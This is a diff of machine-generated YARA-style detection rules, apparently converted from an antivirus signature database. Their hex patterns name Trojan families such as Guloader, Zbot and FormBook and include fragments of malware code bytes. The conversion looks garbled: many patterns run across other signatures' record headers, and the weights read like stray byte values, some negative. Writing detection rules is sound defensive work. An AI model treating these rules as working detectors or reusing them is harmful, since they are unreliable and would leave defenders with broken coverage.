"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -94435,7 +100350,7 @@ rule _InfrastructureShared_8843{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*65) >=2 } -rule _InfrastructureShared_8844{ +rule _InfrastructureShared_9389{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -94447,7 +100362,7 @@ rule _InfrastructureShared_8844{ ((#a_77_0 & 1)*19491+(#a_6f_1 & 1)*29795+(#a_73_2 & 1)*29554) >=2 } -rule _InfrastructureShared_8845{ +rule _InfrastructureShared_9390{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -94460,44 +100375,33 @@ rule _InfrastructureShared_8845{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28233+(#a_00_2 & 1)*5631+(#a_55_3 & 1)*-20223) >=2 } -rule _InfrastructureShared_8846{ +rule _InfrastructureShared_9391{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 5a 64 6f 77 62 6f 74 2e 41 31 00 01 00 1c 01 8d 4c 24 7c 51 6a 00 c7 44 24 40 44 00 00 00 c7 84 24 88 01 00 00 07 00 01 00 ff 15 01 00 0a 01 b1 72 55 b0 64 56 b2 6e b3 75 01 00 1e 01 c6 44 24 30 49 c6 44 } //16675 $a_c6_1 = {24 32 42 c6 44 24 33 61 c6 44 24 35 43 c6 44 24 36 6f 01 00 11 01 8b 46 54 8b 4e 34 8b 54 24 10 57 50 53 51 52 ff d5 00 00 78 86 00 00 02 00 02 00 04 00 21 23 48 53 54 52 3a 4e 6f 74 64 69 6e 6f 74 69 2e 41 00 01 00 19 01 69 64 6e 6f 74 6e 61 6b 6e 6f 65 61 6a 77 61 68 74 6c 65 65 6c 73 6c 65 61 01 00 14 01 68 6f 6d 65 3a 3a 5f 50 65 72 73 65 } //12580 - $a_69_2 = {6e 73 28 01 00 21 01 22 30 41 70 54 4a 39 5a 48 42 39 71 41 58 47 52 77 61 30 41 5a 41 62 4d 79 74 35 69 4d 44 74 22 29 01 00 0d 01 2e 6d 70 33 00 68 6f 6d 65 2e 64 6c 6c 00 00 78 86 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4e 4f 56 21 4d 54 42 00 02 00 29 03 02 03 02 4b 03 04 61 05 } //30051 - $a_07_3 = {0e 04 e0 95 58 7e 0f 01 00 04 0e 06 17 59 } //22625 + $a_69_2 = {6e 73 28 01 00 21 01 22 30 41 70 54 4a 39 5a 48 42 39 71 41 58 47 52 77 61 30 41 5a 41 62 4d 79 74 35 69 4d 44 74 22 29 01 00 0d 01 2e 6d 70 33 00 68 6f 6d 65 2e 64 6c 6c 00 00 78 86 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 52 41 47 21 4d 54 42 00 01 00 1d 01 74 53 73 47 63 4d 58 44 4c 5d 22 71 64 40 } //30051 + $a_74_3 = {6f 64 5f 6d 51 44 43 5b 64 63 01 00 20 01 4e 45 75 46 66 47 58 56 34 49 4e 59 72 51 42 43 58 65 58 6f 22 71 64 40 4c 4b 5a 64 67 63 58 53 01 00 18 01 62 63 50 42 74 55 66 63 5a 6d 5b 69 22 65 6d 51 6f 52 73 79 34 49 50 53 00 00 78 86 00 00 03 00 } //19783 condition: - ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*12580+(#a_69_2 & 1)*30051+(#a_07_3 & 1)*22625) >=2 + ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*12580+(#a_69_2 & 1)*30051+(#a_74_3 & 1)*19783) >=2 } -rule _InfrastructureShared_8847{ +rule _InfrastructureShared_9392{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 4e 6f 74 64 69 6e 6f 74 69 2e 41 00 01 00 19 01 69 64 6e 6f 74 6e 61 6b 6e 6f 65 61 6a 77 61 68 74 6c 65 65 6c 73 6c 65 61 01 00 14 01 68 6f 6d 65 3a 3a 5f 50 65 72 73 65 63 75 74 69 6f 6e 73 28 01 00 21 01 22 30 41 70 54 4a 39 5a 48 42 39 71 41 } //18467 - $a_77_1 = {30 41 5a 41 62 4d 79 74 35 69 4d 44 74 22 29 01 00 0d 01 2e 6d 70 33 00 68 6f 6d 65 2e 64 6c 6c 00 00 78 86 00 00 03 00 03 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4e 4f 56 21 4d 54 42 00 02 00 29 } //18264 - $a_02_2 = {4b 03 04 } //515 - $a_58_3 = {07 0e 04 e0 95 58 7e 0f 01 00 04 0e 06 17 59 e0 95 58 0e 05 90 01 02 00 00 06 58 54 90 00 01 00 2a 03 02 03 02 4b 04 03 05 66 60 61 58 0e 07 0e 04 e0 95 58 7e 0f 01 00 04 0e 06 17 59 e0 95 58 0e 05 90 01 02 00 00 06 58 54 90 00 00 00 78 86 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 50 57 53 } //1377 + $a_77_1 = {30 41 5a 41 62 4d 79 74 35 69 4d 44 74 22 29 01 00 0d 01 2e 6d 70 33 00 68 6f 6d 65 2e 64 6c 6c 00 00 78 86 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 50 57 53 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 52 41 47 21 4d 54 42 00 01 00 1d 01 74 53 73 47 63 } //18264 + $a_4c_2 = {22 71 64 40 47 4d 52 74 58 6f 64 5f 6d 51 44 43 5b 64 63 01 00 20 01 4e 45 75 46 66 47 58 56 34 49 4e 59 72 51 42 43 58 65 58 6f 22 71 64 40 4c 4b 5a 64 67 63 58 53 01 00 18 01 62 63 50 42 74 55 66 63 5a } //22605 + $a_22_3 = {6d 51 6f 52 73 79 34 49 50 53 00 00 78 86 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 61 64 61 78 69 73 2e 41 21 64 68 61 00 01 00 17 03 83 ff 60 0f 90 01 02 00 00 00 80 3b 50 75 90 01 01 80 7b 01 4c 90 00 01 00 25 03 83 f9 60 7c 90 01 01 8d 47 90 01 01 3b c8 7d 90 } //23405 condition: - ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*18264+(#a_02_2 & 1)*515+(#a_58_3 & 1)*1377) >=2 + ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*18264+(#a_4c_2 & 1)*22605+(#a_22_3 & 1)*23405) >=2 } -rule _InfrastructureShared_8848{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 4e 4f 56 21 4d 54 42 00 02 00 29 03 02 03 02 4b 03 04 61 05 61 58 0e 07 0e 04 e0 95 58 7e 0f 01 00 04 0e 06 17 59 e0 95 58 0e 05 90 01 02 00 00 06 58 54 90 00 01 00 } //16675 - $a_03_1 = {02 4b } //810 䬂 - condition: - ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*810) >=3 - -} -rule _InfrastructureShared_8849{ +rule _InfrastructureShared_9393{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -94509,19 +100413,31 @@ rule _InfrastructureShared_8849{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25944+(#a_83_2 & 1)*5888) >=3 } -rule _InfrastructureShared_8850{ +rule _InfrastructureShared_9394{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 61 64 61 78 69 73 2e 41 21 64 68 61 00 01 00 17 03 83 ff 60 0f 90 01 02 00 00 00 80 3b 50 75 90 01 01 80 7b 01 4c 90 00 01 00 25 03 83 f9 60 7c 90 01 01 8d 47 90 01 01 3b c8 7d } //16675 $a_48_1 = {d1 } //400 - $a_90_2 = {01 33 c9 41 b8 00 30 00 00 90 00 01 00 12 00 0f b7 44 24 30 b9 e3 07 00 00 66 2b c1 66 83 f8 02 77 00 00 78 86 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 74 6f 75 2e 41 00 01 00 } //-29372 + $a_90_2 = {01 33 c9 41 b8 00 30 00 00 90 00 01 00 12 00 0f b7 44 24 30 b9 e3 07 00 00 66 2b c1 66 83 f8 02 77 00 00 78 86 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 } //-29372 condition: ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*400+(#a_90_2 & 1)*-29372) >=3 } -rule _InfrastructureShared_8851{ +rule _InfrastructureShared_9395{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 4c 21 4d 54 42 00 01 00 09 81 01 6a 75 6c 61 63 65 6f 75 73 01 00 20 81 01 74 68 65 67 6e 68 6f 6f 64 20 73 6b 61 6d 62 75 64 74 65 20 74 61 62 73 6c 69 73 74 65 72 6e 65 01 } //18467 + $a_01_1 = {75 6c 74 72 61 65 78 63 6c 75 73 69 76 65 20 64 69 61 67 6f 6d 65 74 65 72 20 73 6c 73 65 6e 64 65 00 00 78 86 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 69 74 6f 75 2e 41 00 01 00 1b 03 56 c7 45 f4 90 01 04 8b 45 f4 89 45 f8 e8 90 01 04 8b f0 e8 90 01 04 03 f0 90 00 01 00 1c 01 03 45 f8 03 c6 89 45 f8 8b 4d f8 89 4d f4 8b 55 0c 52 8b 45 08 } //8448 + $a_f4_2 = {45 fc 01 00 1f 03 c7 45 fc 00 00 00 00 90 03 01 01 e9 eb 09 90 02 03 8b 45 fc 83 c0 01 89 45 fc 83 7d fc 90 00 00 00 78 86 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 45 57 49 31 32 33 21 4d 54 42 00 01 00 } //-176 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*8448+(#a_f4_2 & 1)*-176) >=3 + +} +rule _InfrastructureShared_9396{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -94533,7 +100449,7 @@ rule _InfrastructureShared_8851{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-955+(#a_fc_2 & 1)*-14589) >=3 } -rule _InfrastructureShared_8852{ +rule _InfrastructureShared_9397{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -94545,7 +100461,7 @@ rule _InfrastructureShared_8852{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*8300+(#a_5a_2 & 1)*9984) >=3 } -rule _InfrastructureShared_8853{ +rule _InfrastructureShared_9398{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -94557,7 +100473,7 @@ rule _InfrastructureShared_8853{ ((#a_46_0 & 1)*21283+(#a_3c_1 & 1)*-29760+(#a_34_2 & 1)*28265) >=3 } -rule _InfrastructureShared_8854{ +rule _InfrastructureShared_9399{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -94568,7 +100484,7 @@ rule _InfrastructureShared_8854{ ((#a_4c_0 & 1)*21539+(#a_79_2 & 1)*25410) >=3 } -rule _InfrastructureShared_8855{ +rule _InfrastructureShared_9400{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -94580,7 +100496,7 @@ rule _InfrastructureShared_8855{ ((#a_5f_0 & 1)*25635+(#a_65_1 & 1)*25961+(#a_03_2 & 1)*10) >=3 } -rule _InfrastructureShared_8856{ +rule _InfrastructureShared_9401{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -94593,7 +100509,7 @@ rule _InfrastructureShared_8856{ ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*25956+(#a_62_2 & 1)*28269+(#a_64_3 & 1)*19265) >=3 } -rule _InfrastructureShared_8857{ +rule _InfrastructureShared_9402{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -94605,7 +100521,7 @@ rule _InfrastructureShared_8857{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*26400+(#a_70_3 & 1)*29800) >=3 } -rule _InfrastructureShared_8858{ +rule _InfrastructureShared_9403{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -94617,7 +100533,7 @@ rule _InfrastructureShared_8858{ ((#a_77_0 & 1)*19491+(#a_56_1 & 1)*263+(#a_42_2 & 1)*27753) >=3 } -rule _InfrastructureShared_8859{ +rule _InfrastructureShared_9404{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -94630,7 +100546,7 @@ rule _InfrastructureShared_8859{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*18268+(#a_69_2 & 1)*-32756+(#a_63_3 & 1)*25454) >=3 } -rule _InfrastructureShared_8860{ +rule _InfrastructureShared_9405{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -94639,82 +100555,148 @@ rule _InfrastructureShared_8860{ $a_62_1 = {2e 64 62 01 00 08 80 01 62 6f 6f 74 2e 69 6e 69 01 00 0b 80 01 61 75 74 6f 72 75 6e 2e 69 6e 66 00 00 78 86 00 00 04 00 04 00 04 00 21 23 41 44 46 49 32 30 31 32 30 33 32 37 5f 30 30 30 30 00 01 00 1b 01 64 65 66 61 75 6c 74 4f 66 66 65 72 5c 6f 66 66 65 72 5f 63 6f 64 65 2e 64 61 74 01 00 1b 01 64 65 66 61 75 6c 74 4f 66 66 } //30056 $a_6f_2 = {66 65 72 5f 68 74 6d 6c 2e 64 61 74 01 00 0f 01 4d 79 42 61 62 79 6c 6f 6e 54 42 2e 65 78 65 01 00 15 01 63 64 6e 65 75 2e 77 65 62 66 69 6c 65 73 63 64 6e 2e 63 6f 6d 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c } //29285 $a_21_3 = {54 42 00 01 00 09 81 01 6c 6f 75 64 6c 69 65 73 74 01 00 11 81 01 6e 6f 6e 61 6c 6c 69 74 65 72 61 74 69 76 65 6c 79 01 00 0e 81 01 64 61 77 74 20 } //12361 - $a_65_4 = {61 72 6d 79 01 00 22 81 01 72 65 73 70 6f 6e 64 65 6e 74 65 72 6e 65 20 76 61 6c 67 66 6c 73 6b 65 74 73 20 64 65 66 61 63 65 72 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 56 31 32 33 21 4d 54 42 00 01 00 0b 81 01 61 6e 74 68 6f 6d 61 6e 69 61 63 01 00 09 81 01 73 63 65 6e 65 67 } //28265 - $a_01_5 = {00 16 81 01 75 70 72 75 73 68 69 6e 67 20 67 65 6e 6e 65 6d 66 61 72 74 65 72 01 00 1e 81 01 66 61 6b 74 61 73 20 6d 6f 74 69 76 65 72 69 6e 67 65 72 73 20 74 6f 70 6f 67 72 61 66 73 00 00 78 86 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6c 65 78 59 61 63 53 61 66 65 36 34 46 69 6c 65 73 2e 41 00 01 00 0a 80 01 5c 49 44 45 53 } //27765 - $a_58_6 = {01 00 0f 80 01 5c 49 53 41 46 45 54 4f 4f 4c 53 2e 45 58 45 01 00 0e 80 01 5c 49 53 41 46 45 54 52 41 59 2e 45 58 45 01 00 0e 80 01 5c 49 53 41 46 45 53 56 43 32 2e 45 58 45 01 00 0d 80 01 5c 49 53 41 46 45 } //11851 + $a_65_4 = {61 72 6d 79 01 00 22 81 01 72 65 73 70 6f 6e 64 65 6e 74 65 72 6e 65 20 76 61 6c 67 66 6c 73 6b 65 74 73 20 64 65 66 61 63 65 72 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4e 30 31 21 4d 54 42 00 01 00 23 81 01 62 6f 6c 73 6a 65 76 69 6b 6b 65 72 6e 65 73 20 62 6f 76 69 64 61 65 20 } //28265 + $a_65_5 = {6f 6e 6b 61 6c 64 01 00 13 81 01 74 72 79 70 74 6f 67 65 6e 20 61 76 65 72 72 6f 69 73 74 01 00 0c 81 01 61 76 69 6e 64 73 79 67 2e 65 78 65 01 00 08 81 01 6c 65 64 67 65 6d 61 6e 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 42 30 31 21 4d 54 42 00 01 00 22 81 } //25972 + $a_73_6 = {74 61 74 69 6f 6e 65 72 6e 65 73 20 76 61 6e 64 72 65 6e 64 65 20 69 6e 6b 62 6c 6f 74 73 01 00 13 81 01 6c 69 6e 67 65 72 69 65 73 20 70 65 72 69 67 6f 6e 61 6c 01 00 08 81 01 70 72 61 6b 6b 65 64 65 01 00 0d 81 01 6f 76 65 72 63 68 69 65 66 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 } //30209 condition: - ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*30056+(#a_6f_2 & 1)*29285+(#a_21_3 & 1)*12361+(#a_65_4 & 1)*28265+(#a_01_5 & 1)*27765+(#a_58_6 & 1)*11851) >=3 + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*30056+(#a_6f_2 & 1)*29285+(#a_21_3 & 1)*12361+(#a_65_4 & 1)*28265+(#a_65_5 & 1)*25972+(#a_73_6 & 1)*30209) >=3 } -rule _InfrastructureShared_8861{ +rule _InfrastructureShared_9406{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {32 30 31 32 30 33 32 37 5f 30 30 30 30 00 01 00 1b 01 64 65 66 61 75 6c 74 4f 66 66 65 72 5c 6f 66 66 65 72 5f 63 6f 64 65 2e 64 61 74 01 00 1b 01 64 65 66 61 75 6c 74 4f 66 66 65 72 5c 6f 66 66 65 72 5f } //16675 $a_6c_1 = {64 61 74 01 00 0f 01 4d 79 42 61 62 79 6c 6f 6e 54 42 2e 65 78 65 01 00 15 01 63 64 6e 65 75 2e 77 65 62 66 69 6c 65 73 63 64 6e 2e 63 6f 6d 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 49 30 31 21 4d 54 42 00 01 00 09 81 01 6c 6f 75 64 6c 69 65 73 74 01 00 11 81 } //29800 - $a_6e_2 = {6c 6c 69 74 65 72 61 74 69 76 65 6c 79 01 00 0e 81 01 64 61 77 74 20 69 6e 74 65 72 61 72 6d 79 01 00 22 81 01 72 65 73 70 6f 6e 64 65 6e 74 65 72 6e 65 20 76 61 6c 67 66 6c 73 6b 65 74 73 20 64 65 66 61 63 65 72 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 56 31 32 } //28161 - $a_54_3 = {00 01 00 0b 81 01 61 6e 74 68 6f 6d 61 6e 69 61 63 01 00 09 81 01 73 63 65 6e 65 67 75 6c 76 01 00 16 81 01 75 70 72 75 73 68 69 6e 67 20 67 65 6e 6e 65 6d 66 61 72 74 65 72 01 00 1e 81 01 66 61 6b 74 61 73 20 6d 6f 74 69 76 65 72 } //8499 + $a_6e_2 = {6c 6c 69 74 65 72 61 74 69 76 65 6c 79 01 00 0e 81 01 64 61 77 74 20 69 6e 74 65 72 61 72 6d 79 01 00 22 81 01 72 65 73 70 6f 6e 64 65 6e 74 65 72 6e 65 20 76 61 6c 67 66 6c 73 6b 65 74 73 20 64 65 66 61 63 65 72 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4e 30 31 21 } //28161 + $a_00_3 = {01 00 23 81 01 62 6f 6c 73 6a 65 76 69 6b 6b 65 72 6e 65 73 20 62 6f 76 69 64 61 65 20 74 65 6c 65 66 6f 6e 6b 61 6c 64 01 00 13 81 01 74 72 79 70 74 6f 67 65 6e 20 61 76 65 72 72 6f 69 73 74 01 00 } //21581 condition: - ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29800+(#a_6e_2 & 1)*28161+(#a_54_3 & 1)*8499) >=4 + ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29800+(#a_6e_2 & 1)*28161+(#a_00_3 & 1)*21581) >=4 } -rule _InfrastructureShared_8862{ +rule _InfrastructureShared_9407{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 49 30 31 21 4d 54 42 00 01 00 09 81 01 6c 6f 75 64 6c 69 65 73 74 01 00 11 81 01 6e 6f 6e 61 6c 6c 69 74 65 72 61 74 69 76 65 6c 79 01 00 0e 81 01 64 61 77 74 20 69 6e 74 65 72 61 72 6d 79 01 00 } //18467 $a_72_1 = {73 } //-32478 s - $a_64_2 = {6e 74 65 72 6e 65 20 76 61 6c 67 66 6c 73 6b 65 74 73 20 64 65 66 61 63 65 72 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 56 31 32 33 21 4d 54 42 00 01 00 0b 81 01 61 6e 74 68 6f 6d 61 6e 69 61 63 01 00 09 81 01 73 63 65 6e 65 67 75 6c 76 01 00 16 81 01 75 70 72 } //28528 - $a_69_3 = {67 20 67 65 6e 6e 65 6d 66 61 72 74 65 72 01 00 1e 81 01 66 61 6b 74 61 73 20 6d 6f 74 69 76 65 72 69 6e 67 65 72 73 20 74 6f 70 6f 67 72 61 66 73 00 00 78 86 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6c 65 78 59 61 63 53 61 66 65 36 34 46 69 6c 65 73 2e 41 00 01 00 0a 80 01 5c 49 44 } //29557 + $a_64_2 = {6e 74 65 72 6e 65 20 76 61 6c 67 66 6c 73 6b 65 74 73 20 64 65 66 61 63 65 72 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4e 30 31 21 4d 54 42 00 01 00 23 81 01 62 6f 6c 73 6a 65 76 69 6b 6b 65 72 6e 65 73 20 62 6f 76 69 64 61 65 20 74 65 6c 65 66 6f 6e 6b 61 6c 64 } //28528 + $a_81_3 = {74 72 79 70 74 6f 67 65 6e 20 61 76 65 72 72 6f 69 73 74 } //1 tryptogen averroist condition: - ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*-32478+(#a_64_2 & 1)*28528+(#a_69_3 & 1)*29557) >=4 + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*-32478+(#a_64_2 & 1)*28528+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_8863{ +rule _InfrastructureShared_9408{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 4e 30 31 21 4d 54 42 00 01 00 23 81 01 62 6f 6c 73 6a 65 76 69 6b 6b 65 72 6e 65 73 20 62 6f 76 69 64 61 65 20 74 65 6c 65 66 6f 6e 6b 61 6c 64 01 00 13 81 01 74 72 79 70 74 6f 67 65 6e 20 61 76 } //18467 + $a_6f_1 = {73 74 01 00 0c 81 01 61 76 69 6e 64 73 79 67 2e 65 78 65 01 00 08 81 01 6c 65 64 67 65 6d 61 6e 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 42 30 31 21 4d 54 42 00 01 00 22 81 01 76 69 73 69 74 61 74 69 6f 6e 65 72 6e 65 73 20 76 61 6e 64 72 65 6e 64 65 20 69 6e 6b 62 6c 6f 74 } //29285 + $a_6e_3 = {65 72 69 65 73 20 70 65 72 69 67 6f 6e 61 6c 01 00 08 81 01 70 72 61 6b 6b 65 64 65 01 00 0d 81 01 6f 76 65 72 63 68 69 65 66 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 57 30 31 21 4d 54 42 00 01 00 08 81 01 73 6b 6c 64 65 6e 64 65 01 00 } //27649 + condition: + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*29285+(#a_6e_3 & 1)*27649) >=4 + +} +rule _InfrastructureShared_9409{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 42 30 31 21 4d 54 42 00 01 00 22 81 01 76 69 73 69 74 61 74 69 6f 6e 65 72 6e 65 73 20 76 61 6e 64 72 65 6e 64 65 20 69 6e 6b 62 6c 6f 74 73 01 00 13 81 01 6c 69 6e 67 65 72 69 65 73 20 70 65 72 } //18467 + $a_6e_1 = {6c 01 00 08 81 01 70 72 61 6b 6b 65 64 65 01 00 0d 81 01 6f 76 65 72 63 68 69 65 66 2e 65 78 65 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 57 30 31 21 4d 54 42 00 01 00 08 81 01 73 6b 6c 64 65 6e 64 65 01 00 27 81 01 6d 74 61 61 6c 65 6c 69 67 68 65 64 73 20 73 63 72 } //26473 + $a_69_2 = {73 74 20 72 61 64 69 6f 61 63 6f 75 73 74 69 63 73 01 00 09 81 01 72 69 74 65 20 65 6a 65 73 01 00 12 81 01 68 6f 6c 64 69 6e 67 73 65 6c 73 6b 61 62 65 72 6e 65 00 00 78 86 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 56 31 32 33 21 4d 54 42 00 01 00 0b 81 01 61 6e 74 68 6f 6d 61 } //28769 + $a_63_3 = {00 09 81 01 73 63 65 6e 65 67 75 6c 76 01 00 16 81 01 75 70 72 75 73 68 69 6e 67 20 67 65 6e 6e 65 6d 66 61 72 74 65 72 01 00 1e 81 01 66 61 6b 74 61 73 20 6d 6f 74 69 76 65 72 69 6e 67 65 72 73 20 74 6f 70 6f 67 72 61 66 73 00 00 78 86 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 } //26990 + condition: + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26473+(#a_69_2 & 1)*28769+(#a_63_3 & 1)*26990) >=4 + +} +rule _InfrastructureShared_9410{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 57 30 31 21 4d 54 42 00 01 00 08 81 01 73 6b 6c 64 65 6e 64 65 01 00 27 81 01 6d 74 61 61 6c 65 6c 69 67 68 65 64 73 20 73 63 72 61 70 70 69 65 73 74 20 72 61 64 69 6f 61 63 6f 75 73 74 69 63 73 } //18467 + $a_81_1 = {72 69 74 65 20 65 6a 65 73 } //1 rite ejes + $a_81_2 = {68 6f 6c 64 69 6e 67 73 65 6c 73 6b 61 62 65 72 6e 65 } //1 holdingselskaberne + $a_86_3 = {00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 56 31 32 33 21 4d 54 42 00 01 00 0b 81 01 61 6e 74 68 6f 6d 61 6e 69 61 63 01 00 09 81 01 73 63 65 6e 65 67 75 6c 76 01 00 16 81 01 75 70 72 75 73 68 69 6e 67 20 67 65 6e 6e 65 